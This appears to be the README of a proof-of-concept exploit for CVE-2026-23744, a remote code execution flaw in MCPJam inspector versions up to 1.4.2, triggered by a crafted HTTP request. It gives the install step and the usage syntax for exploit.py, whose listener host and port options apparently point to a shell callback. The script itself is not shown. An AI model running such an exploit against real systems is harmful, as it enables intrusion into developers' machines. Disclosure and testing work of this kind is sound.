
CVE-2026-23744 Proof-of-concept.
MCPJam inspector is a local-first development platform for MCP servers. The versions <=1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. For details about the vulnerability, see references.
$ pip install requests
$ python3 exploit.py [-h] [--lhost LHOST] [--lport LPORT] [--rhost RHOST] [--rport RPORT]
-h, --help show the help message and exit
--lhost LHOST local host IP
--lport LPORT local host port
--rhost RHOST remote IP
--rport RPORT remote port